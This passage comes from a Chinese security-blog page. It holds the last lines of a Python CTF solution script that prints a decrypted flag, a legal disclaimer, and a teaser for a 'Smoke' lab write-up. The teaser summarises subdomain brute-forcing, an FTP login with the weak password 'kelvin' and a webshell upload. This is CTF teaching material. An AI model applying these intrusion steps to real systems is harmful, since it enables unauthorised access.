&nbsp;:&nbsp;{KEY.decode()}")&nbsp; &nbsp;&nbsp;print(f"[+] 密文 &nbsp; &nbsp;:&nbsp;{CIPHER_HEX}")&nbsp; &nbsp;&nbsp;print(f"[+] 明文 &nbsp; &nbsp;:&nbsp;{plain_bytes}")&nbsp; &nbsp;&nbsp;print(f"[+] 明文字符串:&nbsp;{plain_str}")&nbsp; &nbsp;&nbsp;print(f"[+] 最终 Flag: flag{{{plain_str}}}")

#


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:OnePanda-Sec OnePanda-Sec OnePanda-Sec《2026数字中国创新⼤赛数字安全赛道暨三明市第六届“红明谷”杯⼤赛-WriteUp》

群友靶机之Smoke 网络安全文章

群友靶机之Smoke

文章总结: 本文详细记录了Smoke靶机的完整渗透测试过程,从信息收集开始,通过子域名爆破发现ftp子域名,利用FTP弱密码kelvin登录后上传Webshel
评论:0   参与:  0